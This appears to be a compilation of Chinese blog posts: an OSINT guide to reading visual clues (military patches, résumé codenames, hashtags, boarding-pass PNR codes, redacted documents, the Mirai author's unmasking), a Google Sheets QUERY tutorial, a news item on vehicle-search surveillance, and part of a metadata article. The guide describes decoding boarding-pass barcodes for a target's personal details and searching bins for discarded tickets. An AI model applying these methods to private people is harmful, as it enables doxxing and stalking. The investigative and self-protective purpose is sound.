这些标志和符号 —— 也可以称之为 “视觉脚印” —— 可能是在各种制造或破坏事物的过程中使用的工具、装置或设备无意中留下的。

要想进一步了解这类线索的例子，值得访问土地用途研究中心，该中心是一个研究和教育组织，致力于了解人类与地球表面互动的性质和程度，并从个人和集体创造的有意和偶然的形式中寻找新的意义。

现在，从城市的工人开始，让我们转向那些在保密特权下运作的人，特别是那些不想让外人知道他们实际在做什么的人 —— 有时是因为他们正在处理需要更高程度保密的机密事务。

3、严格保密

「图」

“I Could Tell You But Then You Would Have to Be Destroyed By Me: Emblems from the Pentagon’s Black World,” Trevor Paglen, 2008, Second Melville House Printing, scan of the fragment of the book cover by the author of the text, 2019.

美国艺术家 Trevor Paglen 的全部作品集对于任何想获得专业知识以学习如何揭露隐秘事物的人来说，都是必须要阅读的。这些作品最终在2008年出版了一本书，名为 《我可以告诉你，但你就得被我摧毁：来自五角大楼黑色世界的标志》。

您可以在这里下载这本书：https://www.patreon.com/posts/tu-ya-de-zheng-40231998

Paglen 试图弄清楚自 “9–11” 事件以来，美国政府与反恐运动有关的行动预算是如何稳步增长的，形成了臭名昭著的 “黑色预算”，其项目和活动的名称究竟是什么、以及未披露的金额。

从公众所知的预算总额与披露的数字之和的差异来看，进入 “黑色预算 “的金额约为惊人的**300**亿美元。

然而，这笔钱究竟是如何使用的，它支持的是何种活动、结构或基础设施是什么样的，一直被蒙在鼓里，主要是因为它声称 “国家安全” —— 这个词是所有间谍机构把监管拒之门外的最重要工具，只要说出这个词，就没人能去调查他们。于是没有任何正式的、合法的、或直接的方式来探讨这些问题。

这位艺术家没有追求传统的寻找此类信息的形式，而是转向军事纪念品的收藏家：制服、纽扣、绳索、绶带、徽章等等。

其中一位被他称为 Merlin 的收藏家特别向他介绍了他所谓的 “补丁情报”。他解释说，无论这些补丁看起来多么难以捉摸，它们构成了一种象征性的视觉语言，使佩戴它们的人能够识别自己的身份和所属。

而且，这些符号和补丁还说明了一个相当有趣的悖论：为什么经常在国家机密的掩护下进行的秘密活动会获得视觉表现，从而有可能破坏所有隐秘的努力？

📌 像骄傲这样短暂的东西让士兵们沉迷于徽章，士兵们认为佩戴徽章可以向别人展示一种超越自身的更深层次内涵。暴露就是这样来的。

与本文中的其他案例一样，这是一个非常重要和常见的特征，无论秘密或危险的程度如何，或者多么地追求隐蔽性。

从事这类活动的群体可能会有意无意地 (受自豪感或归属感的驱使，或仅仅是对自己手艺的认可) 创造出一种视觉符号语言，在学习和破译后，可能会透露出许多关于他们是谁、他们在从事什么工作、这项工作在哪里进行 ……等等细微的信息。As above, this is a scan from the book presenting the patch from page 16, under the title “Special Projects Flight Test Squadron.” The author deciphers symbols visible on the patch as follows: “The collection of stars a group of 5 plus one reveals the number 51 aka secret base known as Area 51; the wizard is the mascot of the squadron; the symbol on the right hand side of the mascot is an engineering symbol representing an unknown value appearing on the radar – which stands for the stealth character of the aircraft; on the right side, the symbol of a falling object represents hollow aluminium spheres dropped from the sky to calibrate radars; the lighting bolt usually depicts electronic warfare; the sword refers to the ‘Bird of Prey,’ a declassified Boeing stealth demonstrator; while the handle of the sword depicts the shape of the aircraft operated.”

这本书展示了近60个补丁与说明。

这本集子及其破译并没有完全揭开所有隐藏在军事机密背后的程序，也没有揭露这些程序的具体细节；但是，它创造了一个可视化的地图，让我们这些还蒙在鼓里的人能大致了解其中一些人在做什么，他

们的基地在哪里，以及有多少纳税人的钱被用于这等秘密工作。

📌 Paglen 的调查工作是关于如何利用一个非常普遍的事实的最好例证之一，即：即使你面对的是不受公众监督的秘密团体或活动，这些团体的成员、从事这些秘密问题的专家，往往对他们的活动感到自豪，并希望得到认可，即使不是公开认可，也至少是在他们自己人之间得到认可；于是他们的技能、专业知识和附属关系会通过一些符号来透露。

4、摄影、映射和权力关系

「图」

这里是来自东耶路撒冷的艺术家、研究人员和活动家 Hagit Keisar 的作品。在对该市这一地区的房屋拆迁进行研究时，Hagit 正在努力获取记录这些程序的档案。

她所有试图直接进入该地的努力都被阻止了，那里的政客质疑 Hagit 的目的是为了批评他们的工作。当她采访过的一位退休的前拆迁检查员向她透露，他们在工作中使用的一个关键工具是摄影时，她改变了调查方法。Photograph copied by Hagit Keisar from the municipality archive, depicting an image of houses marked for demolition.

所有的官员和检查员都是这样做的—— 他们拍下照片作为证据。因此，Hagit 要求档案馆允许她研究这些影像，令她惊讶的是，她立即获得了文件，而在此之前，她一直无法接触到这些文件。

这不仅使她获得了前所未有的访问权限，还帮助她发现了房屋检查员所使用的内部视觉语言。

这为她分析他们的工作，特别是分析他们工作中的政治、滥用权力和内部原理，提供了一系列重要线索。

🛡 注：

您可以在这篇文章中读到所有关于 *Hagit* 的经历，关于东耶路撒冷房屋拆迁政治的创造性调查研究 *“Photography, mapping and power,”*，以及观看整个系列的纪录片和文本记录，其中介绍了公民调查人员如何使用创新的策略来揭露社区中隐藏的问题。“从我的角度看问题”。

5、代号是什么

「图」

然而，另一个例子说明了人们需要符号来交流自己的技艺技能这一特点，准确说是脆弱性，这是安全研究员和活动家 M.C.McGrath 的工作，他利用的是 LinkedIn 上公开的简历。

🛡 注：

LinkedIn 是挖掘社交媒体情报的绝佳来源，我们曾经提供过很多相关工具，您可以在网站搜索 *“LinkedIn”* 以找到相关内容。

关于 ***McGrath*** 的出色案例 —— 用开源情报辅助透明度革命的尝试，见这里的中文访谈《用技术作为促进透明度革命的武器》。

McGrath 刮取了近3万个人数据，这些人在他们的就业、技能和经验描述中使用的是美国监控和情报计划的代号。这些代号对外行人来说根本看不懂，因为它们往往是首字母缩写或随机的名字。

M.C. 提出了一个非常基本的观点，即：从事秘密（卧底）工作的人仍然是为了养家糊口，在这一点上，就像任何其他行业一样，于是人们经常在不同的工作和公司之间流动。而简历就是那种为了让潜在的新雇主识别自己的技能、工具或活动而作出的一些具体的参考介绍。

就 Transparency Toolkit 而言，最关键的一组变量是程序的代码名称或具体工具的参考资料，这些资料往往也隐藏在特定的代码后面。您可以在上面👆的文章中看到详细解释。

📌 这方面的经验是，不要被行话或代码语言所吓倒，因为这些语言起初可能显得毫无意义和枯燥无味，或对特定行业以外的人似乎莫名其妙。但是，它们往往是能牵出一只大象的细绳。

6、作为证据的标签

「图」

标签是介于缩写或代号之间的另一个例子，可以用来调查谁是在社交媒体上传播的特定信息的幕后推手，特别是在 Twitter 上，但在 Instagram 或 Facebook 上也是一样的。

这里有一个很不错的案例关于使用标签进行调查：“自动化宗派主义和亲沙特的宣传”。

第一个案例：时任埃克塞特大学阿拉伯和伊斯兰研究所研究员、巴林观察组织研究员兼主任的 Marc Owen Jones 揭露了波斯湾地区大规模的自动化政治宣传活动 (也就是假推特账户)。

- 您可以在这里看到相关的全球报告《看清信息战：2019全球有组织社交媒体操纵清单》

Marc 最初追寻的是看起来最可疑的地方：不同账户重复发布相同的推文。

从这个观察中，他还发现这些相同的账号使用了同一套标签。

- 关于如何识别自动化账户，这里有一整套标准，见《如何分辨：机器人、僵尸网络和 trolls》

他首先积累了所有的推文和账户信息，打算看看这其中是否有什么模式。他观察的是在同一时间使用特定标签发布内容的账户之间的关联性，进而对这些账户进行分析，查看这些账户的创建时间、关注者数量、位置和个人简介。

简而言之，最初的观察、收集到的数据及其分析，让 Marc 发现了一个由机器人组成的自动化宣传机器，用来宣传某些观点，同时压制其他观点。Visualisation made on Gephi by Marc Owen Jones of the #Bahrain hashtag on 22 June 2016.

第二个案例：叙利亚档案馆的 Hadi Al Khatib 早在2016年就为 Exposing the Invisible 撰写了一篇文章，解释并展示了使用标签进行调查的可能性，并围绕可能的威胁提高人们的认识，以便用户能够就如何使用 Twitter 做出明智的选择。

Hadi 重点介绍了两个会议期间如何使用标签的案例。2016年的 Black Hat 和 DefCon。

📌 这些例子使他能够解释如何通过分析标签，调查人员可以了解这些集会的参与者和与会者的网络背景。在他的文章“一个 #Hashtag 的披露”中解释了分析社交媒体标签和其他相关信息的方法和工具。

这项工作提出了一个非常不同的案例，说明可以使用标签的方式来识别人而不是机器人 —— 包括他们过去或现在的位置、以及他们属于

什么网络。

他的调查帮助建立了一个独特的社交图谱，如果没有这样的调查是很难创建可视化的。相关分析可能会构成人们寻求理解问题、网络的一个极好的起点，或者帮助识别在各自网络中具有特定角色、地位或功能的个人。*Using Carto (previously known as CartoDB), a free web-based tool to create interactive maps, Hadi and his team geolocated the tweets they had extracted.*

7、在PNR中的数据

「图」

另一个探讨符号及其意义的案例，展示了乘客姓名记录（PNR）是如何被读取和解码的，以及这对调查来说意味着什么。

🛡 提醒！

任何时候不要在互联网上晒机票火车票，遮盖名字也不行，具体演示见《挡不住的秘密就在你不知不觉中被暴露：社交工程学攻击实践》

PNR 是任何人在预订航班时被分配的一个六位数代码。如今，它们通常以条形码的形式出现在您的旅行证件上，尤其是登机牌上。PNR条形码看起来可能很无害，相当没有意义，但其实它通常被理解为一个一次性的代码，能够快速识别旅行者的身份细节。

事实上，PNR是一个标识符，它包含了一套关于旅客的丰富的详细资料。您每次拿到新的机票都会得到不同的PNR，除非是由同一个旅行社提供服务。

PNR数据主要由两个大型数据库维护和运行：计算机预订系统（CRS）或全球分销系统（GDS）。该代码包括以下信息：

- 旅行者姓名
- 地址
- 身份证或护照细节
- 其他联系方式
- 飞行常客奖励计划相关信息
- 所有票务信息
- 全行程
- 付款方式

- 登记和座位信息
- 膳食偏好
- 其他喜好等等。

📌 此外，它还可以包括概述有关您的旅行原因的详细信息。这是一个很大的数据点。

在 Tactical Tech 的文章 “我们的数据与我们一起飞行” 中，探讨了解码条形码的方法，并利用这些知识来获取目标人的个人信息。

这一点相当不言自明：隐藏在条形码中的这种简单信息有可能被任何人用来获取更详细的个人信息。

在此提及这一问题，不仅是为了说明调查人员如何利用这些信息，而且，也是为了提高人们对以下事实的认识，即：我们所有人，包括最精明的调查人员，都在通过层层的出入代码实现旅行、参与、停留和进入一些地方，而这些密码往往以难以理解的数字、图形或符号的形式呈现在我们面前。然而，当我们通过机器（如条码阅读器）的视角来观察它们时，它们揭示了更多人类可读的细节，可能会带来意想不到的发现和结论。

📌 垃圾箱是个好地方，人们经常随手扔掉登机牌、票证等非常重要的东西，很多时候只是简单地撕了几下。于是对于追踪调查来说，那是个值得关注的宝库。From the article “Booking Flights: Our Data Flies with Us,” by Paz Pena, Leil-Zahra Mortada and Rose Regina Lawrence, Tactical Tech

8、解码不可见的东西

「图」

最后有几件事值得一提 —— 一个是关于不包含信息的空间，另一个是关于混淆。

第一种情况听起来相当抽象；如果没有信息，那么怎么会有东西呢？

然而一些科学家就是这样进行研究的。 当您需要覆盖的空间相当广阔时，这种方法对于缩小寻找信息的范围来说会非常有用。

📌 这种具体的方法在调查人员的工具箱中可能毫无用处；但是，其背后的思维不应该是这样的。这里要吸取的经验是：寻找数据集中空

洞的空间或空白，一来可能会使您更好地集中资源；二来，您可能会从没有东西的地方学到更多的东西。

下面是一个对CIA酷刑计划的调查作为案例，作者是 Sam Raphael, Crofton Black 和 Ruth Blakeley：《Investigation into the CIA Torture Programme》。

您可以在这里下载这份调查报告：https://www.patreon.com/posts/tu-ya-de-zheng-40231998Snapshot by the author of an Extract from the Committee Study, with dates, CIA officers and cable data redacted, and with PSEUDONYMS for black sites and contractors; page 24; “CIA Torture Unredacted: An Investigation Into the CIA Torture Programme;” Project by The Rendition Project, The Bureau of Investigative Journalism, University of Westminster, The University of Sheffield, 2019; written by Sam Raphael, Crofton Black and Ruth Blakeley.

他们面临的挑战是显而易见的，也是难以解决的—— 他们终于得到了一些文件，这些文件可以揭示他们正在调查的严重问题：即 中央情报局的酷刑方案、其受害者、使用的方法和有关人员。然而不幸的是，几乎所有的重要信息都被删减了，如上图那样。

📌 这就是 “信息自由法案” 的笑话，这种愚弄比比皆是，人们能通过法案得到内部文件，但是重要的信息都被删除了。穆斯林社区的活动家曾经找到了一个解决这一问题的方法，见《高明的反抗》。

这些调查人员历时四年的细致工作，产生了可能是2001年至2009年所谓 “反恐战争” 期间中情局领导的整个酷刑计划最详细的公开说明。

📌 阅读完整报告对于了解这一方案的规模、深度和广度非常重要，其中包括囚犯的详细情况、秘密地点的位置、参与该方案的私营公司的复杂网络，以及对一些关键国家的明显共谋行为的详细概述。

在此，我们重点讨论调查人员和研究小组使用的方法之一，即：他们是如何将这些经过大量删节的文件挖掘到如此令人印象深刻的程度的？他们处理的是大量的被删改内容 —— 所有关键页面几乎完全被涂黑，如上图；还有些信息被代码代替，如 “国家a” 或 “目的地b”。

最重要的恢复原状过程涉及对文本本身进行技术分析 —— 了解文本使用了什么样的特定字体（Times New Roman，12p，恰好是比例字

体，字符宽度不尽相同的电脑字体）；文本向左对齐（字符之间的间距始终相同）；该文档使用标准化的方式来显示日期，例如“月，日，年”以及其他；与整个段落或句子相反，仅对单个单词和图形进行了删节。

📌 这种破译隐藏在黑色遮盖背后的东西的方法，加上使用非常全面的姓名、地点和时间数据集，使已知信息与被掩盖的信息能够进行关联，类似三角测量，产生了前所未有的结果。

📌 将故意隐藏的内容公之于众，不仅是重要和重大的，而且还产生了一个意想不到的结果，即 那些从事编辑工作的人能从中知道下一次不应该做什么。

🛡 注：

阅读报告 *“CIA Torture Unredacted—An Investigation Into the CIA Torture Programme”* —— 威斯敏斯特大学、谢菲尔德大学调查新闻部 *Rendition Project* ，*2019*年。

第二种情况是关于混淆 —— 隐藏在不同的形象和身份之下。

到目前为止我们已经研究了大量的图像、符号和标志聚集在一起创造一个更大故事的例子；然而，有时从一个图像而不是从一系列图像中获得基本和重要的线索可能就足够了。

最有趣的例子来自于一位著名安全专家的调查。这位专家试图找出一个名为 Mirai 的大型僵尸网络背后的人或组织，该僵尸网络在2016年以前所未有的规模在互联网上造成了巨大的破坏。

安全专家 Brian Krebs 花了很长时间追踪任何能够帮助他揭示这个僵尸网络真正幕后人的线索。This is an image created by one of the suspected authors of Mirai Botnet that Krebs came across – Dreadiscool’s account on Spigot Minecraft forum since 2013 includes some interesting characters photoshopped into this image. https://krebsonsecurity.com/2017/01/who-is-anna-senpai-the-mirai-worm-author/

调查员能够列出一些与真人有关的各种昵称作为潜在嫌疑人。在一个案件中，当他试图找到 Dreadiscool 这个绰号背后的人时发现了一个隐藏在这个假名后面的用户创建的 **meme**。

这个 meme 挪用了著名电影《低俗小说》中的一张知名的图片，其中

演员 John Travolta 和 Samuel L. Jackson 的头被换成了两个被称为 Vyp0r 和 Tucker Preston 的黑客的头。画面中还能看到、 漫画电影系列《B Gata H Hei》中的人物。

在探索这条道路时，Krebs 发现用户 Dreadiscool 在同一论坛上列出了他们看过的其他电影。

在九个标题中，他发现了 “Mirai Nikki” 的标题 —— 另一部漫画电影系列。

📌 这就是一个薄弱环节，因为这可能纯属巧合 —— 动漫在某些类型的年轻黑客中很受欢迎。

尽管如此，这一线索还是帮助他进一步探索了这一调查路径，最终发现用户 Dreadiscool 也一直在使用化名 Anna Senpai（这就是2016年泄露了 Mirai Botnet 一个备受关注的恶意软件源代码的用户）。

通过一系列进一步的关联，他发现这些昵称背后的真名是 Paras Jha。在收集到足够的线索后，Krebs 在一系列文章中曝光了这个 Paras 的工作。

该案最终被执法部门受理，并导致此人在2018年被捕并被定罪。

📌 您可以看到，该调查再次受益于目标人的虚荣心 —— 他要是不那么骄傲，也许还不至于被抓住把柄。作为防御者，您应该记得：即便您谈论电影动漫，也有可能暴露您的身份。

调查员非常严谨的工作至关重要，将各种线索进行三角测量和关联，并顺藤摸瓜，排除那些毫无头绪的线索，顺着那些新开辟出的意想不到的途径进行进一步调查。

📌 还需要注意，这些视觉线索在不同的语境中使用时可能会产生误导，因为它们的创造者或使用者可能会试图用不同的方式来误导或 “玩弄” 那些试图解码它们的人。

此外，当它们被不同的行为者采用、或者只是随着时间的推移而改变其含义时，可能会产生混淆。这里的一个例子是臭名昭著的悲伤蛙佩佩的使用历史。

- 关于符号的演变，在这里看到更多内容 《两本截然相反的书揭示了一个值得思考的问题》

Extract from a comic strip (Boy’s Club #1) featured an anthropomorphic frog “Pepe.” This image started the Pepe the frog internet meme. From Wikipedia https://en.wikipedia.org/wiki/Pepe_the_Frog#/media/File:Feels_good_man.jpg

虽然在美国和欧洲，青蛙佩佩主要是作为最近（错误地）与主要在美国的极右翼和白人民族主义运动相关联的最具代表性的 meme而闻名，但它随后成为所谓的 kek 的形象 —— “lel”的变体，其本身是 lol ” 的变体，这导致了 Kekistan，一个虚构的国家，代表所谓的 “shitposters” —— 这些 trolls 对任何政治正确的概念提出质疑。

最有趣的转变发生在香港的抗议活动期间，同样的青蛙佩佩形象开始出现，抗议者将其作为自由和抵抗有争议的引渡法案和警察暴力的象征。

事实证明，使用它的人完全没有意识到这个形象的右翼内涵，也没有意识到它的起源和历史 —— 最初与极右翼或其他政治声明完全无关。事实上，它始于2005年漫画家 Matt Furie 在一本名为《男孩俱乐部》（Boy’s Club）的小众杂志上的作品。

有些人开始错误地将香港抗议活动背后的理念与极右翼联系起来 —— 就是基于这个青蛙形象的使用。

还有更多

「图」

这些案例的选择远远没有完全探索和描述在调查过程中所有可能的符号、标志、缩写、代码和其他字母数字信息以及更多的历时性图像的阅读方式。

📌 但是，有一些基本的原则，您可以从这些调查中得到。很难把它们作为一个循序渐进的公式来介绍，不过它们有几个共同点值得注意：

1、这些调查的基础是扩大一个人正在看的东西的范围，或探索任何可能的视觉线索，甚至那些可能看起来与核心调查无关的线索。

记住老牌间谍的口头禅：没有什么是无关紧要的。

2、这些调查往往依靠与这类视觉材料有关的独特专业知识。

许多调查人员与制作或使用这些图像的人接触和交谈，他们经常发现收集和分析这些图像的其他人的目的与调查人员的目的不同 —— 例如，飞机观察者最感兴趣的往往是飞机，而不是腐败、秘密飞行或飞机的其他用途。

3、调查人员对这些线索持保留和怀疑态度，因为他们知道，对信息的解释、理解、关联和三角测量在任何时候都可能因不明原因而受到破坏，他们主要将这种方法与其他更复杂的证据收集和核查手段一起作为辅助框架。

最后

「图」

这份手册是关于符号和标志能够如何帮助追踪调查中各种用例的基本说明。不论是公民调查人员还是个人完全防御，都可以使用。

📌 您可以注意到其中透露的调查线索，关于它们如何应该是防御者值得警惕和避免的东西 —— 比如 不要骄傲、压制自己的归属需求和荣耀感，等等。

🖖 同时，它也提醒了信息斗争中的一个关键技巧：混淆；这类似于骇客行动中的假旗。仅仅旗子（标志）是假的，并无法全面掩盖其真实身份的线索；对于调查者，您需要做的就是尽可能地全面捕捉一切细节。

希望这份手册能为您带来灵感。〇

Signs, Symbols and Other Visual Clues

原文

数字时代基本功：使用简单的查询语言帮您更好地掌握数据

开源情报-每个人都可用的武器

这是公民记者和活动家组织必备的基本功。本文将尽可能说得简单，因此即便您没有任何基础，也一样不难掌握本文中介绍的知识

「图」

IYP新列表如下 ——

防身的： "https：// start.me/p/xbYXdR/iyp-1"

认知的："https：// start.me/p/RMQrDD/iyp-2"

斗智的："https：// start.me/p/ nRBzO9 / iyp-3"

眼界的："https：// start.me/p/aL8RrM/iyp-4"

你懂的："https://start.me/p/1kod2L/iyp-direct-action5"

持续更新中！

「图」

在现代工作场所中，处理数据已成为越来越重要的技能。

数据不再是分析师和软件工程师的领域。借助当今的技术，任何人都可以使用数据来分析趋势并提供决策依据。

处理数据时的基本概念是“查询”数据集。就是字面上的意思：询问有关一组数据的问题。查询语言是一种软件语言，提供用于询问此类问题的语法。

如果您没有编写查询的经验，它们可能会显得有些吓人。但是，不要

怕！只需少量练习，您就可以掌握基础知识。

本文就是您开始的地方。

Google Visualization API查询语言

您可能已经在大部分日常工作中使用过 Google 表格。也许您已经熟悉使用它来生成图表的方法。

Google Visualization API查询语言是在幕后起作用的魔力，是它使之成为可能。

但是您是否知道您可以通过 QUERY（ ）函数访问此语言吗？它是处理大量数据的强大工具。

查询语言和SQL之间有很多相似之处。

在这两种情况下，您都将定义列和行的数据集，并通过指定各种标准和条件来选择不同的列和行。

在本演示中，示例数据将来自一个大型CSV文件，其中包含1872年至2019年之间的国际足球比赛结果。您可以从 Kaggle 下载该数据。

在新的Google表格中，上传 CSV 文件。您可以使用 Ctrl ＋ A（在Mac上为 Cmd ＋ A）选择所有数据。

从功能区菜单中，选择“数据”」“命名范围…”，然后将所选范围称为“数据”。这将使其更易于使用。

现在，您可以开始查询数据了。在电子表格中创建一个新选项卡，并在单元格 A1 中创建一个新的 QUERY（ ） 公式。

获取所有英格兰比赛

第一个查询查找数据集中所有英格兰为主队或客队的比赛。

QUERY（ ）至少接受两个参数。第一个是命名范围，它是需要查询的数据集；第二个是包含实际查询的字符串。

```
=QUERY(data, "SELECT * WHERE B = 'England' OR C =
'England'")
```

LF@「图」

下面分析一下。

SELECT * 要求返回数据集中的所有列。如果只需要A、B和C列，则可以编写 SELECT A，B，C。

接下来需要包含一个过滤器，以便仅查找B列或C列中包含团队 'England' 的行。

确保查询中的字符串使用单引号。双引号用于打开和关闭查询本身。

此公式将返回英格兰踢过的所有比赛。如果要搜索另一个团队，只需在过滤器中更改条件即可。

统计所有友谊赛

接下来，我们计算一下数据集中有多少个友谊赛匹配项。

```
=QUERY(data, "SELECT COUNT(A) WHERE F =
'Friendly'")
```

LF@利用查询语言 COUNT（）函数。这是一个聚合函数的示例。聚合函数将许多行汇总起来。

例如，在此数据集中，有16,716行，其中列 F 等于 “Friendly”。查询不返回所有这些行，而是返回单个行 —— 对其进行计数。

「图」

聚合函数的其他示例包括 MAX（），MIN（）和 AVG（）。不是返回与查询匹配的所有行，而是查找它们的最大值、最小值和平均值。

按比赛分组

如果在聚合函数旁边使用 GROUP BY ，则汇总函数可以做更多的事。该查询会找出每种锦标赛类型进行了多少场比赛。

```
=QUERY(data, "SELECT F, COUNT(A) GROUP BY F")
```

LF@该查询按F列中的每个值对数据集进行分组。然后，它计算每组中有多少行。

「图」

您可以在多个列上使用 GROUP BY。例如，要查找每个国家在锦标赛中进行了多少场比赛，请使用以下查询：

```
=QUERY(data, "SELECT H, F, COUNT(A) GROUP BY H,
F")
```

LF@「图」

下面来尝试一些更高级的过滤。

获取所有英格兰vs德国的比赛

您可以使用AND和OR指定更复杂的过滤器逻辑。为了便于阅读，可以在过滤器的每个部分周围使用括号。

例如，要查找英格兰和德国之间的所有比赛，就是这样：

```
=QUERY(data, "SELECT * WHERE (B = 'England' AND C
= 'Germany') OR (C = 'England' AND B ='Germany')")
```

LF@此筛选有两个条件：一个条件是英格兰是主场队，而德国则不是；另一个条件是相反的。

「图」

使用数据验证可轻松选择数据集中的任何两个球队。

然后，您可以编写一个查询，使用其过滤器中不同单元格的值。请记住，使用单引号标识查询中的字符串，并使用双引号打开和关闭查询的不同部分。

```
=QUERY(data, "SELECT * WHERE (B = '"&amp;B1&amp;"'
AND C = '"&amp;B2&amp;"') OR (C = '"&amp;B1&amp;"'
AND B ='"&amp;B2&amp;"')")
```

LF@「图」

寻找趋势

聚合函数和过滤器结合使用时将成为功能强大的工具。一旦熟悉了它

们的工作方式，就可以开始在数据集中搜索各种有趣的趋势。

例如下面的例子，查找自1900年以来每年的每场比赛平均进球。

```
=QUERY(data, "SELECT YEAR(A), AVG(D) + AVG(E)
WHERE YEAR(A) 」= 1900 GROUP BY YEAR(A)")
```

LF@「图」

如果将查询结果绘制为线形图，则可以立即开始查看一段时间内的趋势。

排序结果

有时，您对查找数据集中的全部匹配行不感兴趣。通常，您将需要根据一些条件对它们进行排序。也许您只希望找到前十个记录。

该查询查找数据集中得分最高的十个比赛的匹配项。

```
=QUERY(data, "SELECT * ORDER BY (D+E) DESC LIMIT
10")
```

LF@「图」

注意 ORDER BY 语句。这将根据指定的列对行进行排序。在这里，查询按比赛中的得分数对输出进行排序。

DESC 关键字指示按降序排序（ASC 则是按升序对它们进行排序）。

最后，LIMIT 将输出限制为给定的行数（在本例中为10行）。

哪些城市举办了最多的世界杯比赛？

现在，作为最后一个例子，将所有内容整合在一起，激发您的想象力。

此查询查找举办最多FIFA世界杯比赛的前十个城市。

```
=QUERY(data, "SELECT G, COUNT(A) WHERE F = 'FIFA
World Cup' GROUP BY G ORDER BY COUNT(A) DESC LIMIT
10")
```

LF@「图」

现在轮到你了

希望本文对您的调查工作有用。如果您熟悉每个示例中的逻辑，那么您就可以尝试使用真正的 SQL。

这将介绍诸如JOINS、嵌套查询和窗口函数的概念。当您掌握了这些内容后，您处理数据的能力就会大幅度提升。

有很多地方可以开始学习 SQL。比如这里。加油哦！〇

原文

无处可藏 - iYouPort

开源情报-每个人都可用的武器

JD AI Research 和北京大学的一组研究人员最近开发了一种用于视频监控网络的渐进式车辆搜索系统，称为 PVSS。可以实现更自动的监控

「图」

「图」

JD AI Research 和北京大学的一组研究人员最近开发了一种用于视频监控网络的渐进式车辆搜索系统，称为 PVSS。他们的系统在预先公布在 arXiv 上的一篇论文中提出，据称可以有效地搜索出现在监控录像中的特定车辆。

车辆搜索系统可以实现更自动的监控。例如，这样的系统可以允许用户输入查询车辆、搜索区域和时间间隔，以在白天的不同时间找出车辆所处的位置。

现有的车辆搜索方法通常使用视觉属性或车牌号来识别这些图像内的目标车辆。这些方法主要关注匹配，也称为车辆重新识别（Re-Id）

近年来，手工描述符和卷积神经网络（CNN）极大地增强了这些方法。尽管如此，由于不同摄像机的实例内变化和类似车辆之间的实例间差异，仅基于属性识别特定车辆可能是非常具有挑战性的任务。

在某些情况下，由于低分辨率和噪音问题，车牌也可能在监控图像中被误识别。

“一个完整的车辆搜索系统应该考虑车辆检测、索引、存储、匹配等诸多问题，”研究人员在他们的论文中解释道，“此外，由于不同摄像机的内部变化和极不确定的环境，基于属性的搜索无法准确找到同一车辆。”

PVSS 是研究人员开发的渐进式车辆搜索系统，据称能解决当前方法的局限性。该系统由三个关键模块组成：车辆数据爬行器、基于多粒度特征的车辆索引器、和渐进式车辆搜索器。

、

“为了保证搜索过程中的高精度和高效率，我们为车辆搜索系统设计了一系列的数据结构，”研究人员在他们的论文中写道。“在爬行器中，不仅可以从监控网络中提取视觉内容，还可以提取相关联的环境信息。然后，基于深度学习的模型利用多模态数据来获得车辆的辨别力和稳健性，然后由多层次组织。在搜索过程中，以渐进的方式搜索车辆，包括特征域中的从粗到精的搜索和在物理空间中的从近到远的搜索。

本质上，车辆爬行器组件检测并跟踪监控视频中的车辆，将捕获的车辆图像、元数据和其他相关环境信息传输到云或服务器。随后，车辆索引器组件提取并索引车辆的多粒度属性，例如视觉特征和车牌指纹。

研究人员在 VeRi 数据集上评估了他们的渐进式车辆搜索系统，该数据集包含从实际环境中的20个监控摄像头收集的 50,000 多张图像。在这些测试中，PVSS 获得了显著的成果，优于所有仅仅外观的搜索方法和与之相比的多模态方法。

如果您关心监视问题，请回顾我们曾经介绍过的两部分反监视方法，一是对于普通逃逸，二是对于社会运动，其中都强调了车辆的敏感性。您应该知道这些研究给公民行动自由带来的危险：《隐身游戏：如何在监视遍地的社会里让自己完全消失》；《集会参与者有必要了解的基本安全措施》

Anew vehicle search system for video surveillance networks

原文

无处可藏的数字足迹 - 亦正亦邪元数据 (上篇) 要品尝河豚的美味是需要点方法的 - iYouPort

开源情报-每个人都可用的武器

同一种东西，可以用来捍卫正义，也可以被用来迫害义士。于是，了解它的工作原理以及如何将其用作工具，非常重要。同样，了解如何保护自己以及与我们从事相关的工作，也是至关重要的。目的是要让它为我们所用

「图」

「图」

元数据可以理解为传统图书编目的现代版本。就像那种堆放在图书馆抽屉中的小卡片，提供书籍的标题、出版日期、作者和图书馆书架上的位置等等信息。类似地，在数字世界里，数字图像可以包含关于拍摄图像的相机的信息、图像的日期和时间、以及通常拍摄图像的地理坐标。这种与多媒体相关的元数据也称为 EXIF 数据，即 可交换图像文件格式。

每个信息源都有元数据，有时是很明确的，除非有意的擦除，否则 PDF 文件、图像、文字文档都会有一些与之相关的元数据。

比如数码相机中有一个小芯片，它会跟踪该设备的所有元数据。所有这些称为电荷耦合器件（CCD）芯片的东西，基本上都是光敏电路，具有微小的缺陷，这是单个 CCD 芯片所独有的。这种特性意味着用该设备拍摄的所有图像中包含的数据、人们通常会忽略并且人眼不可见的数据，成为了识别用该特定 **CCD** 芯片拍摄的所有图像的数字“指纹”。这突出了几乎无处不在的元数据以及使用它的可能性。

如今所有人都在棱镜文件曝光后认识到了元数据的概念，并开始警惕它。不过另一方面，对 OSINT 调查人员来说，元数据也可以是很好的朋友，它有助于搜索，有助于索引和理解信息的上下文。

元数据可用于分析某些行为，例如政治和社会性质。以简单的方式为例，就像打个电话那样。拨打电话似乎并不重要；分析100万个电话或100万张照片很困难，分析基于语音识别或人脸检测，这两个领域仍处于技术发展阶段。但是如果分析其中包含的元数据则非常容易，因为元数据对于每个电话都有一个简单的标准化格式：存在日期、时间戳、呼叫者和被呼叫者的位置和号码。该格式允许我们更轻松地在一个大型数据库中分析大量元数据。

与政府和企业一样，活动家、专家、调查记者和人权维护者都越来越关注元数据。事实证明，使用元数据有助于打击腐败等各种情况，如果被政府使用，它将作为打击持不同政见者和人权维护者的武器。

了解元数据的工作原理以及如何将其用作工具，非常重要。同样，了解如何保护自己以及与我们生成的元数据相关的工作，也是至关重要的。

无论是暴露、剥离、添加和验证、独立或与其他来源（传统或非传统）发现的其他数据交叉引用，元数据都是当今调查性新闻和人权倡导的关键，特别是在文档、图像和视频方面，作为证据的收集。了解元数据及其使用方法对于自我保护和保护自己的工作来说，都至关重要。

揭露性信息

元数据是揭示和提供证据的有力工具。

2009 年，数据科学家 Michael Kreil 创建了 Tell-all Telephone，这个项目生成了德国绿党政治家 Malte Spitz 连续六个月的电话数据的可视化。Michael Kreil 告诉 Exposing the Invisible ，他收到了“一张包含 36,000 行的 Excel 表格，而且根本没有任何工具可以查看。你可以只使用地理定位数据制作一个简单的地图，但你不会看到时间方面的内容，也不会看到动作。所以，我写了一个小原型，只是一个带有移动点的简单地图。这实际上是几周后上线申请的基础。“

